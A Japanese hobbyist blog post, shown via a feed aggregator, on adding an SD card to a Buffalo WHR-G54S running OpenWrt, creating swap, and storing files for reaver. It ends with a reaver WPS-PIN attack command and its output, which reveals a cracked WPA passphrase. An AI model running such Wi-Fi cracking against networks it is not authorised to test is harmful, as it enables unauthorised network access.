Quantcast
Channel: Royal Windows
Viewing all articles
Browse latest Browse all 288

【Buffalo WHR-G54S SDカード接続 – Openwrt】

$
0
0

whrboad

Buffalo WHR-G54S はに,ハンダ付けでSDカードスロットを取り付けている。
SDカードスロットの取り付けが実は一番大変で,こちらの記事参照。
WHR-G54S は,メモリが 16MB と小さいので,SDカードに swap を作った。
それから reaver が sqlite3 のDBファイルを使うので,その保管も行った。
openwrt(kernel 3.3.5)で,SDカードが利用できたが,自動マウントは未だ設定できていない。

svn co svn://svn.openwrt.org/openwrt/trunk/
cd trunk
make menuconfig
│ Target System (Broadcom BCM947xx/957xx)
│ Target Profile (Broadcom BCM43xx WiFi (b43, default)
make V=99 J=2

SDカードのカーネルモジュール broadcom-sdhc26ソースファイルを入手して ~/trunk/package/broadcom-sdhc26 に置く。

make menuconfig で,broadcom-sdhc26 を選択する。gpio は6,5,3,1に変更する。kmod-fs-ext4 はext2/3/4 をマウントするのに必要だ。

Kernel modules
- Block Devices
-- <*> kmod-broadcom-sdhc26
--- Default Configration
│ (6) GPIO DI (Data-In) pin   
│ (5) GPIO DO (Data-Out) pin   
│ (3) GPIO CLK (Clock) pin
│ (1) GPIO CS (Chip-Select) pin

Kernel modules
- Filesystems
--<*> kmod-fs-ext4

Utilities
- Filesystem
-- <*> e2fsprogs

ビルドする。

make V=99 J=2    *j=2 は2コアcpu の場合

ビルドイメージファイルをフラッシュに書き込む。WHR-G54S の黒4ポートのいずれかと,PCをLAN接続する。WHR-G54S は電源オフにする。

ターミナルウインドウを2つ開く。
一方でping 192.168.11.1 を実行する。

ifconfig eth0 192.168.11.3 up
ping 192.168.11.1

他方で atftp を実行待ちにする。

atftp -p -l openwrt-brcm47xx-squashfs.trx 192.168.11.1

From 192.168.11.3 icmp_seq=5 Destination Host Unreachable
From 192.168.11.3 icmp_seq=6 Destination Host Unreachable
From 192.168.11.3 icmp_seq=7 Destination Host Unreachable
64 bytes from 192.168.11.1: icmp_seq=8 ttl=100 time=1004 ms
64 bytes from 192.168.11.1: icmp_seq=9 ttl=100 time=0.552 ms
64 bytes from 192.168.11.1: icmp_seq=10 ttl=100 time=0.657 ms
64 bytes from 192.168.11.1: icmp_seq=11 ttl=100 time=1.06 ms
64 bytes from 192.168.11.1: icmp_seq=12 ttl=100 time=0.582 ms

WHR-G54S の電源を入れると数秒後にリプライが出る。
リプライが出たらすぐに atftp を実行する。

WHR-G54S の openwrt が起動したら,telnet で接続する。

ifconfig eth0 192.168.1.3 up
telnet 192.168.1.1

openwrt で,broadcom-sdhc26 を有効にする。

root@OpenWrt:/# vi /etc/modules.d/30-b43

b43 gpiomask=0x1

root@OpenWrt:/# vi /etc/config/broadcom_sdhc26

#       option 'gpio_enable' '0xb8000068'           
#       option 'gpio_control' '0xb800006c'
         
config 'global' 'broadcom_sdhc26'
        option 'enabled' '1'
        option 'preinit' '0'
        option 'mask_diag' '1'
        option 'din' '6'
        option 'dout' '5'
        option 'clk' '3'                                         
        option 'cs' '1'
        option 'major' '0' 
        option 'maxsec' '32'

root@OpenWrt:/# /etc/init.d/broadcom_sdhc26 start

SDカードを ext2 でフォーマットしてマウントする。

mkfs.ext2 /dev/bcmsdhc1
mount /dev/bcmsdhc1 /mnt

root@OpenWrt:/etc# mount
rootfs on / type rootfs (rw)
/dev/root on /rom type squashfs (ro,relatime)
none on /proc type proc (rw,relatime)
sysfs on /sys type sysfs (rw,relatime)
tmpfs on /tmp type tmpfs (rw,nosuid,nodev,relatime,size=6676k)
tmpfs on /dev type tmpfs (rw,relatime,size=512k,mode=755)
devpts on /dev/pts type devpts (rw,relatime,mode=600)
/dev/mtdblock3 on /overlay type jffs2 (rw,relatime)
overlayfs:/overlay on / type overlayfs (rw,relatime,lowerdir=/,upperdir=/overlay)
debugfs on /sys/kernel/debug type debugfs (rw,relatime)
/dev/bcmsdhc1 on /mnt type ext2 (rw,relatime,user_xattr,barrier=1)

スワップファイルを作る。

dd if=/dev/zero of=/mnt/swap bs=1024 count=32768
mkswap /mnt/swap
swapon /mnt/swap

root@OpenWrt:/# free
                  total         used         free       shared      buffers
Mem:         13348     12124         1224            0         1436
-/+ buffers:              10688         2660
Swap:         31996            0       31996

reaver ディレクトリを作り,/etc/reaver にリンクする。

mkdir /mnt/reaver
ln –s /mnt/reaver /etc/reaver

仮想メモリも作業用ディレクトリもできたので,reaver を実行したがクラックまでいたらない。1時間以上継続する時もあるし,すぐハングする時もあり,安定しない。
-p で pin を指定するとPSKが判明できるので,動作はしている。

root@OpenWrt:~# reaver -i mon0 -b 0:18:84:AB:EA:34 -c 8 -vv -p 00289047

Reaver v1.4 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>

[+] Switching mon0 to channel 8
[+] Waiting for beacon from 00:18:84:AB:EA:34
[+] Associated with 00:18:84:AB:EA:34 (ESSID: RalinkInitAP_ABEA34)
[+] Trying pin 00289047
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[+] Received M5 message
[+] Sending M6 message
[+] Received M7 message
[+] Sending WSC NACK
[+] Sending WSC NACK
[+] Pin cracked in 10 seconds
[+] WPS PIN: '00289047'
[+] WPA PSK: '5rh6-hw33-wy5x'
[+] AP SSID: 'RalinkInitAP_ABEA34'
[+] Nothing done, nothing to save.
root@OpenWrt:~#

 


Viewing all articles
Browse latest Browse all 288

Trending Articles